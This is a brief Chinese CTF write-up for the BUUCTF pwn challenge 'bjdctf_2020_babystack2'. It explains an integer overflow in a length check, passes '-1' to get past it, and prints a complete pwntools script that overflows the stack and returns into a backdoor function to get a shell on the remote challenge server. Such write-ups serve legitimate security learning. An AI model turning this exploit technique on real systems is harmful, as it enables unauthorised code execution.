这道题轻松,最近遇到最简单的题目了
    image.png
    64位小端序程序
    image.png
    逻辑很简单输入一个数字就是下个字符串的长度,这里nbytes定义两边不一样
    噢,这里说一下size_t是32位下是4个字节的无符号整数类型 64位下是8个字节的无符号整数类型
    整数溢出漏洞
    image.png
    还有后门函数
    贴代码贴代码

    1. from LibcSearcher import LibcSearcher
    2. from pwn import *
    3. context.log_level = 'debug'
    4. #io = process("./bjdctf_2020_babystack2")
    5. io = remote("node4.buuoj.cn",29999)
    6. elf = ELF("./bjdctf_2020_babystack2")
    7. system_addr = 0x000000000040072A
    8. offest = 0x10
    9. io.recvuntil('[+]Please input the length of your name:')
    10. io.sendline('-1')
    11. io.recvuntil("[+]What's u name?")
    12. payload = b'a'*(offest+0x8)+p64(system_addr)
    13. io.sendline(payload)
    14. io.interactive()

    舒服了,,,,